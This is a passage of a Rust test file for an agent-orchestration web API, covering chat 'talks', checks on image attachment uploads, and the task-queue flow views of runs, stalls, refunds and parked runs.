11182 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11185
11186 #[tokio::test]
11187 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11188 let tmp = TempDir::new().expect("tempdir");
11189 let repo = tmp.path().join("repo");
11190 std::fs::create_dir_all(&repo).expect("repo dir");
11191 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11192 let f = Fixture::with_repo(repo).await;
11193 let id_a = f.post("/api/talks", None).await.json()["id"]
11194 .as_str()
11195 .unwrap()
11196 .to_owned();
11197 let id_b = f.post("/api/talks", None).await.json()["id"]
11198 .as_str()
11199 .unwrap()
11200 .to_owned();
11201
11202 let a = f
11203 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11204 .await;
11205 assert_eq!(a.status, 202, "{}", a.body);
11206 assert_eq!(a.json()["thinking"], true);
11207 let b = f
11208 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11209 .await;
11210 assert_eq!(b.status, 202, "{}", b.body);
11211 assert_eq!(b.json()["thinking"], true);
11212
11213 let listed = f.get("/api/talks").await.json();
11214 for id in [&id_a, &id_b] {
11215 let view = listed
11216 .as_array()
11217 .unwrap()
11218 .iter()
11219 .find(|talk| talk["id"] == *id)
11220 .unwrap();
11221 assert_eq!(view["thinking"], true, "{listed}");
11222 }
11223 let repeated = f
11224 .post(
11225 &format!("/api/talks/{id_a}/say"),
11226 Some(r#"{"text":"again"}"#),
11227 )
11228 .await;
11229 assert_eq!(repeated.status, 202, "{}", repeated.body);
11230 assert_eq!(repeated.json()["pending"], "again");
11231 }
11232
11233 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11236
11237 #[tokio::test]
11238 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11239 let f = Fixture::start().await;
11240 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11241
11242 let res = f
11243 .post_bytes(
11244 &format!("/api/talks/{id}/attachments"),
11245 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11246 PNG_BYTES,
11247 )
11248 .await;
11249 assert_eq!(res.status, 201, "{}", res.body);
11250 let body = res.json();
11251 assert_eq!(body["name"], "shot.png");
11252 assert_eq!(body["mime"], "image/png");
11253 assert_eq!(body["bytes"], PNG_BYTES.len());
11254 let att_id = body["id"].as_str().expect("id").to_owned();
11255 assert_eq!(
11256 att_id.len(),
11257 32,
11258 "the id must never be a client-suppliable path: {att_id}"
11259 );
11260
11261 let got = f
11262 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11263 .await;
11264 assert_eq!(got.status, 200, "{}", got.body);
11265 assert_eq!(got.header("content-type"), Some("image/png"));
11266 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11267 assert_eq!(got.bytes, PNG_BYTES);
11268 }
11269
11270 #[tokio::test]
11271 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11272 let f = Fixture::start().await;
11273 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11274
11275 let svg = f
11278 .post_bytes(
11279 &format!("/api/talks/{id}/attachments"),
11280 &[("Content-Type", "image/svg+xml")],
11281 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11282 )
11283 .await;
11284 assert!(
11285 (400..500).contains(&svg.status),
11286 "svg must be refused: {} {}",
11287 svg.status,
11288 svg.body
11289 );
11290 assert!(svg.body.contains("SVG"), "{}", svg.body);
11291
11292 let text = f
11293 .post_bytes(
11294 &format!("/api/talks/{id}/attachments"),
11295 &[("Content-Type", "text/plain")],
11296 b"just some text",
11297 )
11298 .await;
11299 assert!(
11300 (400..500).contains(&text.status),
11301 "an unlisted type must be refused: {} {}",
11302 text.status,
11303 text.body
11304 );
11305
11306 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11309 let big = f
11310 .post_bytes(
11311 &format!("/api/talks/{id}/attachments"),
11312 &[("Content-Type", "image/png")],
11313 &oversized,
11314 )
11315 .await;
11316 assert_eq!(
11317 big.status,
11318 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11319 "{}",
11320 big.body
11321 );
11322 }
11323
11324 #[tokio::test]
11325 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11326 let f = Fixture::start().await;
11327 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11328
11329 let res = f
11332 .post_bytes(
11333 &format!("/api/talks/{id}/attachments"),
11334 &[("Content-Type", "image/png")],
11335 b"<html>not a picture</html>",
11336 )
11337 .await;
11338 assert!((400..500).contains(&res.status), "{}", res.body);
11339 }
11340
11341 #[tokio::test]
11342 async fn an_unknown_attachment_id_is_a_404() {
11343 let f = Fixture::start().await;
11344 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11345
11346 let res = f
11347 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11348 .await;
11349 assert_eq!(res.status, 404, "{}", res.body);
11350 }
11351
11352 #[tokio::test]
11353 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11354 let f = Fixture::start().await;
11355 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11356
11357 let uploaded = f
11358 .post_bytes(
11359 &format!("/api/talks/{id}/attachments"),
11360 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11361 PNG_BYTES,
11362 )
11363 .await;
11364 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11365 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11366
11367 let res = f
11368 .post(
11369 &format!("/api/talks/{id}/say"),
11370 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11371 )
11372 .await;
11373 assert_eq!(res.status, 202, "{}", res.body);
11374 let queued = res.json();
11375 let turns = queued["turns"].as_array().expect("turns array");
11376 assert_eq!(
11377 turns.len(),
11378 1,
11379 "an empty body with an attachment is still a turn: {queued}"
11380 );
11381 assert_eq!(turns[0]["who"], "operator");
11382 assert_eq!(turns[0]["body"], "");
11383 let atts = turns[0]["attachments"]
11384 .as_array()
11385 .expect("attachments array");
11386 assert_eq!(atts.len(), 1);
11387 assert_eq!(atts[0]["id"], att_id);
11388 assert_eq!(atts[0]["mime"], "image/png");
11389
11390 let on_disk = f.talks().get(&id).expect("get");
11393 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11394 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11395 }
11396
11397 #[tokio::test]
11398 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11399 let f = Fixture::start().await;
11400 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11401
11402 let res = f
11403 .post(
11404 &format!("/api/talks/{id}/say"),
11405 Some(&format!(
11406 r#"{{"text":"hi","attachments":["{}"]}}"#,
11407 "a".repeat(32)
11408 )),
11409 )
11410 .await;
11411 assert!((400..500).contains(&res.status), "{}", res.body);
11412 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11413
11414 let on_disk = f.talks().get(&id).expect("get");
11415 assert!(
11416 on_disk.turns.is_empty(),
11417 "a rejected attachment id must not partially record the turn: {:?}",
11418 on_disk.turns
11419 );
11420 }
11421
11422 #[tokio::test]
11423 async fn talk_close_makes_the_talk_refuse_further_turns() {
11424 let f = Fixture::start().await;
11425 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11426
11427 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11428 assert_eq!(closed.status, 200, "{}", closed.body);
11429 assert_eq!(closed.json()["status"], "closed");
11430
11431 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11433 assert_eq!(closed_again.status, 200);
11434 assert_eq!(closed_again.json()["status"], "closed");
11435
11436 let said = f
11437 .post(
11438 &format!("/api/talks/{id}/say"),
11439 Some(r#"{"text":"too late"}"#),
11440 )
11441 .await;
11442 assert_eq!(said.status, 409, "{}", said.body);
11443 }
11444
11445 #[tokio::test]
11446 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11447 let (_tmp, _repo, f) = talk_fixture().await;
11448 let id = f.post("/api/talks", None).await.json()["id"]
11449 .as_str()
11450 .expect("id")
11451 .to_owned();
11452 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11453 assert_eq!(closed.status, 200, "{}", closed.body);
11454
11455 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11456 assert_eq!(reopened.status, 200, "{}", reopened.body);
11457 assert_eq!(reopened.json()["status"], "open");
11458
11459 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11461 assert_eq!(reopened_again.status, 200);
11462 assert_eq!(reopened_again.json()["status"], "open");
11463
11464 let said = f
11465 .post(
11466 &format!("/api/talks/{id}/say"),
11467 Some(r#"{"text":"still there?"}"#),
11468 )
11469 .await;
11470 assert_eq!(
11471 said.status, 202,
11472 "a reopened talk accepts turns again: {}",
11473 said.body
11474 );
11475 }
11476
11477 #[tokio::test]
11478 async fn talk_reopen_on_an_unknown_id_is_404() {
11479 let f = Fixture::start().await;
11480 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11481 assert_eq!(res.status, 404, "{}", res.body);
11482 }
11483
11484 #[tokio::test]
11485 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11486 let f = Fixture::start().await;
11487 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11488
11489 let deleted = f.delete(&format!("/api/talks/{id}")).await;
11490 assert_eq!(deleted.status, 204, "{}", deleted.body);
11491
11492 let after = f.get(&format!("/api/talks/{id}")).await;
11493 assert_eq!(after.status, 404, "{}", after.body);
11494
11495 let listed = f.get("/api/talks").await.json();
11496 assert!(
11497 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11498 "a deleted talk must not linger in the list: {listed}"
11499 );
11500 }
11501
11502 #[tokio::test]
11503 async fn talk_delete_on_an_unknown_id_is_404() {
11504 let f = Fixture::start().await;
11505 let res = f.delete("/api/talks/nonexistent-id").await;
11506 assert_eq!(res.status, 404, "{}", res.body);
11507 }
11508
11509 #[tokio::test]
11513 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11514 let f = Fixture::start().await;
11515 let (a, b, gone) = (
11516 "20260902-140501-aaaa",
11517 "20260902-140502-bbbb",
11518 "20260902-140503-cccc",
11519 );
11520 write_run(&f.runs(), a, RunStatus::Stalled);
11521 let mut review = RunState::new(
11522 PathBuf::from("/repo/magi"),
11523 "main".to_owned(),
11524 "0123456789abcdef".to_owned(),
11525 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11526 .to_owned(),
11527 Config::default(),
11528 );
11529 review.id = b.to_owned();
11530 review.status = RunStatus::Merged;
11531 write_state(&f.runs(), &review);
11532
11533 let mut task = Task::new(
11534 "retry".to_owned(),
11535 "Do the thing".to_owned(),
11536 PathBuf::from("/repo/magi"),
11537 Source::Human,
11538 );
11539 task.start(a.to_owned());
11540 task.stall("quota");
11541 task.start(a.to_owned());
11542 task.start(b.to_owned());
11543 task.start(gone.to_owned());
11544 f.queue().put(&mut task).expect("file the task");
11545
11546 let res = f.get(&format!("/api/queue/{}", task.id)).await;
11547 assert_eq!(res.status, 200, "{}", res.body);
11548 let v = res.json();
11549 let h = v["history"].as_array().expect("history");
11550 assert_eq!(h.len(), 4, "{v}");
11551 assert_eq!(h[0]["kind"], "competition");
11552 assert_eq!(h[0]["status"], "stalled");
11553 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11554 assert_eq!(h[1]["kind"], "resume", "{v}");
11555 assert!(
11556 h[0]["outcome"]
11557 .as_str()
11558 .unwrap()
11559 .contains("unknown. Pass #2"),
11560 "an earlier pass of a resumed run must not claim the final outcome: {v}"
11561 );
11562 assert!(
11563 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11564 "{v}"
11565 );
11566 assert!(
11567 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11568 "an unrecorded cause must not be narrated as an operator park: {v}"
11569 );
11570 assert_eq!(h[2]["kind"], "review");
11571 assert!(
11572 h[2]["description"]
11573 .as_str()
11574 .unwrap()
11575 .contains("magi/aaaa/A")
11576 );
11577 assert_eq!(h[2]["status"], "merged");
11578 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11579 assert_eq!(v["runs_unreadable"], 1);
11580 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11581 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11582 assert_eq!(nodes[4]["note"], "unreadable");
11583 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11584 assert_eq!(v["instruction"], "Do the thing");
11585 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11586
11587 let run = f.get(&format!("/api/runs/{a}")).await.json();
11589 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11590
11591 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11592 }
11593
11594 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11595 let mut s = RunState::new(
11596 PathBuf::from("/repo/magi"),
11597 "main".to_owned(),
11598 "0123456789abcdef".to_owned(),
11599 "Do it".to_owned(),
11600 Config::default(),
11601 );
11602 s.status = status;
11603 edit(&mut s);
11604 s
11605 }
11606
11607 fn flow_task(runs: &[&str]) -> Task {
11608 let mut t = Task::new(
11609 "t".to_owned(),
11610 "Do it".to_owned(),
11611 PathBuf::from("/repo/magi"),
11612 Source::Human,
11613 );
11614 for r in runs {
11615 t.start((*r).to_owned());
11616 }
11617 t
11618 }
11619
11620 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11621 let h = task_history(task, |id| {
11622 states
11623 .iter()
11624 .find(|(i, _)| *i == id)
11625 .and_then(|(_, s)| s.clone())
11626 });
11627 task_flow(task, &h, 5, None)
11628 }
11629
11630 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11631 crate::queue::FollowUp {
11632 run: "20260901-000000-aaaa".to_owned(),
11633 origin_task: origin_task.map(str::to_owned),
11634 pr: "https://example.com/o/r/pull/1".to_owned(),
11635 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11636 .map(str::to_owned)
11637 .to_vec(),
11638 generation: 1,
11639 }
11640 }
11641
11642 fn parent_task() -> Task {
11643 let mut p = flow_task(&[]);
11644 p.title = "Parent title".to_owned();
11645 p.status = TaskStatus::Done;
11646 p
11647 }
11648
11649 #[test]
11650 fn flow_opens_with_the_parent_task_of_a_followup() {
11651 let p = parent_task();
11652 let pid = p.id.clone();
11653 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11654 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11655 let n = &f.nodes[0];
11656 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11657 assert_eq!(
11658 n.label,
11659 format!("Follow-up of {}", crate::queue::short(&pid))
11660 );
11661 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11662 assert_eq!(n.status, Some("done"));
11663 assert_eq!(n.status_of, "task");
11664 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11665 assert_eq!(f.nodes[1].key, "start");
11666 assert_eq!(f.edges[0].from, "origin");
11667 assert_eq!(
11668 f.edges[0].label,
11669 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11670 );
11671 }
11672
11673 #[test]
11674 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11675 let o = followup_origin(
11676 &fu(Some("gone")),
11677 |_| None,
11678 |_| {
11679 Some(RunState::new(
11680 std::path::PathBuf::from("."),
11681 "main".to_owned(),
11682 "0".to_owned(),
11683 "t".to_owned(),
11684 crate::config::Config::default(),
11685 ))
11686 },
11687 );
11688 assert!(o.parent.is_none());
11689 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11690 let n = &f.nodes[0];
11691 assert_eq!(n.status_of, "run");
11692 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11693 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11694 }
11695
11696 #[test]
11697 fn flow_followup_with_nothing_readable_has_no_link() {
11698 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11699 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11700 let n = &f.nodes[0];
11701 assert_eq!(n.href, None);
11702 assert_eq!(n.note, Some("unreadable"));
11703 assert!(!n.readable);
11704 }
11705
11706 #[test]
11707 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11708 let o = followup_origin(&fu(None), |_| None, |_| None);
11709 let mut t = flow_task(&[]);
11710 t.origin_chat = Some("c1".to_owned());
11711 let f = task_flow(&t, &[], 5, Some(&o));
11712 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11713 t.source = Source::Agent {
11714 run: "c1".to_owned(),
11715 node: crate::queue::CHAT_NODE.to_owned(),
11716 };
11717 let f = task_flow(&t, &[], 5, Some(&o));
11718 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11719 assert_eq!(
11720 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11721 ("chat", "origin")
11722 );
11723 }
11724
11725 #[test]
11726 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11727 let mut p = parent_task();
11728 p.id = "a b/c".to_owned();
11729 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11730 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11731 }
11732
11733 #[test]
11734 fn flow_opens_with_the_chat_that_queued_the_task() {
11735 let mut t = flow_task(&[]);
11736 t.source = Source::Agent {
11737 run: "a b/c".to_owned(),
11738 node: crate::queue::CHAT_NODE.to_owned(),
11739 };
11740 let f = flow_for(&t, &[]);
11741 assert_eq!(f.nodes[0].key, "chat");
11742 assert_eq!(f.nodes[0].kind, "chat");
11743 assert_eq!(
11744 f.nodes[0].label,
11745 format!("Chat {}", crate::queue::short("a b/c"))
11746 );
11747 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11748 assert_eq!(f.nodes[1].key, "start");
11749 assert_eq!(
11750 f.edges[0],
11751 FlowEdge {
11752 from: "chat".to_owned(),
11753 to: "start".to_owned(),
11754 label: "queued from chat".to_owned(),
11755 attempt: AttemptCost::None,
11756 }
11757 );
11758 }
11759
11760 #[test]
11761 fn flow_has_no_chat_box_for_other_sources() {
11762 for source in [
11763 Source::Human,
11764 Source::Issue {
11765 number: 3,
11766 repo: "o/r".to_owned(),
11767 },
11768 Source::Agent {
11769 run: "20260904-014455-ab12".to_owned(),
11770 node: "implement".to_owned(),
11771 },
11772 ] {
11773 let mut t = flow_task(&[]);
11774 t.source = source;
11775 let f = flow_for(&t, &[]);
11776 assert_eq!(f.nodes[0].key, "start");
11777 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11778 assert!(f.edges.iter().all(|e| e.from != "chat"));
11779 }
11780 }
11781
11782 const FA: &str = "20260902-140501-aaaa";
11783 const FB: &str = "20260902-140502-bbbb";
11784
11785 #[test]
11786 fn flow_follows_blocked_retry_merged_to_done() {
11787 let mut t = flow_task(&[FA, FB]);
11788 t.status = TaskStatus::Done;
11789 let f = flow_for(
11790 &t,
11791 &[
11792 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11793 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11794 ],
11795 );
11796 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11797 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11798 assert_eq!(f.edges.len(), 3);
11799 assert_eq!(f.edges[0].label, "claimed");
11800 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11801 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11802 assert_eq!(f.edges[2].label, "merged \u{2192} done");
11803 assert_eq!(
11804 f.nodes[2].href.as_deref(),
11805 Some("#/runs/20260902-140502-bbbb")
11806 );
11807 assert!(f.nodes[2].decided);
11808 }
11809
11810 #[test]
11811 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11812 let quota = || {
11813 flow_run(RunStatus::Stalled, |s| {
11814 s.quota.push(crate::run::QuotaLoss {
11815 seat: "judge-1".to_owned(),
11816 node: "judge".to_owned(),
11817 at: Timestamp::now(),
11818 reset: None,
11819 })
11820 })
11821 };
11822 let mut t = flow_task(&[FA, FA]);
11823 t.status = TaskStatus::Queued;
11824 let f = flow_for(&t, &[(FA, Some(quota()))]);
11825 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11826 assert_eq!(f.nodes[1].note, Some("interrupted"));
11827 assert_eq!(
11828 f.nodes[1].status, None,
11829 "no outcome copied onto an earlier pass"
11830 );
11831 assert_eq!(
11832 f.edges[1].attempt,
11833 AttemptCost::Unknown,
11834 "a resume does not prove the earlier pass was refunded"
11835 );
11836 assert!(f.edges[1].label.contains("resume the same run"));
11837 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11838 assert_eq!(
11839 f.edges[2].label,
11840 "stalled after a resume, refund unknown \u{2192} queued"
11841 );
11842 assert!(!f.nodes[2].decided, "a stall is not a decision");
11843 assert_eq!(f.nodes[2].note, Some("no verdict"));
11844 }
11845
11846 #[test]
11847 fn flow_single_pass_quota_stall_is_refunded() {
11848 let t = flow_task(&[FA]);
11849 let f = flow_for(
11850 &t,
11851 &[(
11852 FA,
11853 Some(flow_run(RunStatus::Stalled, |s| {
11854 s.quota.push(crate::run::QuotaLoss {
11855 seat: "judge-1".to_owned(),
11856 node: "judge".to_owned(),
11857 at: Timestamp::now(),
11858 reset: None,
11859 })
11860 })),
11861 )],
11862 );
11863 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11864 }
11865
11866 #[test]
11867 fn flow_parked_refunds_and_stall_without_quota_spends() {
11868 let mut t = flow_task(&[FA]);
11869 t.status = TaskStatus::Queued;
11870 let f = flow_for(
11871 &t,
11872 &[(
11873 FA,
11874 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11875 )],
11876 );
11877 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11878 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11879 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11880 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11881 assert!(!f.nodes[1].decided);
11882 }
11883
11884 #[test]
11885 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11886 let t = flow_task(&[FA, FB]);
11887 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11888 assert_eq!(f.nodes[1].note, Some("unreadable"));
11889 assert!(!f.nodes[1].readable);
11890 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11891 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11892 }
11893
11894 #[test]
11895 fn flow_names_the_branch_of_a_review_only_run() {
11896 let t = flow_task(&[FA]);
11897 let f = flow_for(
11898 &t,
11899 &[(
11900 FA,
11901 Some(flow_run(RunStatus::Merged, |s| {
11902 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11903 })),
11904 )],
11905 );
11906 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11907 assert_eq!(
11908 f.nodes[1].detail.as_deref(),
11909 Some("review-only run of branch magi/x/A")
11910 );
11911 }
11912
11913 #[test]
11914 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11915 let mut t = flow_task(&[FA]);
11916 t.status = TaskStatus::Held;
11917 let pr = crate::run::PrRecord {
11918 url: "https://example.test/pr/1".to_owned(),
11919 number: 1,
11920 state: "open".to_owned(),
11921 checks: "green".to_owned(),
11922 round: 0,
11923 rounds: 3,
11924 red_at_merge: Vec::new(),
11925 };
11926 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11927 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11928 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11929 t.status = TaskStatus::Done;
11930 let f = flow_for(&t, &[(FA, Some(blocked))]);
11931 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11932 }
11933
11934 #[test]
11935 fn flow_with_no_runs_goes_from_queued_to_queued() {
11936 let t = flow_task(&[]);
11937 let f = flow_for(&t, &[]);
11938 assert_eq!(f.nodes.len(), 2);
11939 assert_eq!(f.edges.len(), 1);
11940 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11941 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11942 }
11943
11944 #[test]
11947 fn a_parked_non_terminal_run_is_explained_as_parked() {
11948 let mut s = RunState::new(
11949 PathBuf::from("/repo/magi"),
11950 "main".to_owned(),
11951 "0123456789abcdef".to_owned(),
11952 "Do it".to_owned(),
11953 Config::default(),
11954 );
11955 s.status = RunStatus::Implementing;
11956 s.parked = true;
11957 let task = Task::new(
11958 "t".to_owned(),
11959 "Do it".to_owned(),
11960 PathBuf::from("/repo/magi"),
11961 Source::Human,
11962 );
11963 let v = task_run_view(
11964 "20260902-140501-aaaa",
11965 Some(&s),
11966 RunSlot {
11967 n: 1,
11968 resumed: false,
11969 resumed_later: None,
11970 prior: None,
11971 last: true,
11972 },
11973 &task,
11974 );
11975 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11976 }
11977
11978 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11979 let mut s = flow_run(RunStatus::Implementing, edit);
11980 s.parked = false;
11981 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11982 task_run_view(
11983 "20260902-140501-aaaa",
11984 Some(&s),
11985 RunSlot {
11986 n: 1,
11987 resumed: false,
11988 resumed_later: Some(2),
11989 prior: None,
11990 last: false,
11991 },
11992 &task,
11993 )
11994 }
11995
11996 #[test]
11997 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11998 let v = earlier_pass_view(|_| {});
11999 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12000 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12001 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12002 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12003 assert_eq!(v.exit, RunExit::Interrupted);
12004 assert_eq!(v.attempt, AttemptCost::Unknown);
12005 }
12006
12007 #[test]
12008 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12009 let v = earlier_pass_view(|s| {
12010 s.quota.push(crate::run::QuotaLoss {
12011 seat: "judge-1".to_owned(),
12012 node: "judge".to_owned(),
12013 at: Timestamp::now(),
12014 reset: None,
12015 });
12016 });
12017 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12018 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12019 assert_eq!(v.attempt, AttemptCost::Unknown);
12020 }
12021
12022 #[test]
12023 fn the_current_pass_states_its_recorded_cause_and_cost() {
12024 let slot = || RunSlot {
12025 n: 1,
12026 resumed: false,
12027 resumed_later: None,
12028 prior: None,
12029 last: true,
12030 };
12031 let task = flow_task(&["20260902-140501-aaaa"]);
12032 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12033 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12034 assert_eq!(
12035 (v.exit, v.attempt),
12036 (RunExit::Parked, AttemptCost::Refunded)
12037 );
12038 let spent = flow_run(RunStatus::Blocked, |_| {});
12039 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12040 assert_eq!(v.attempt, AttemptCost::Spent);
12041 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12042 }
12043
12044 #[tokio::test]
12045 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12046 let f = Fixture::start().await;
12047 let queue = f.queue();
12048 let mut task = Task::new(
12049 "spent".to_owned(),
12050 "Try again".to_owned(),
12051 PathBuf::from("/repo/magi"),
12052 Source::Human,
12053 );
12054 task.start("20260902-140502-bbbb".to_owned());
12055 task.fail("agent gave up", 9);
12056 queue.put(&mut task).expect("file the task");
12057
12058 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12059 assert_eq!(held.status, 200);
12060 assert_eq!(held.json()["status_str"], "held");
12061
12062 let released = f
12063 .post(&format!("/api/queue/{}/release", task.id), None)
12064 .await;
12065 assert_eq!(released.status, 200);
12066 assert_eq!(released.json()["status_str"], "queued");
12067 assert_eq!(
12068 released.json()["attempts"],
12069 0,
12070 "release is a real second chance, not an instant re-hold"
12071 );
12072 assert_eq!(
12073 queue.get(&task.id).expect("reload").status,
12074 TaskStatus::Queued,
12075 "the change is on disk, not only in the reply"
12076 );
12077 assert!(
12078 !f.home
12079 .path()
12080 .join("queue")
12081 .join(format!("{}.lock", task.id))
12082 .exists(),
12083 "the claim the mutation took is released again"
12084 );
12085 }
12086
12087 #[tokio::test]
12088 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12089 let f = Fixture::start().await;
12090 let queue = f.queue();
12091 let mut task = Task::new(
12092 "busy".to_owned(),
12093 "Running right now".to_owned(),
12094 PathBuf::from("/repo/magi"),
12095 Source::Human,
12096 );
12097 queue.put(&mut task).expect("file the task");
12098 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12099
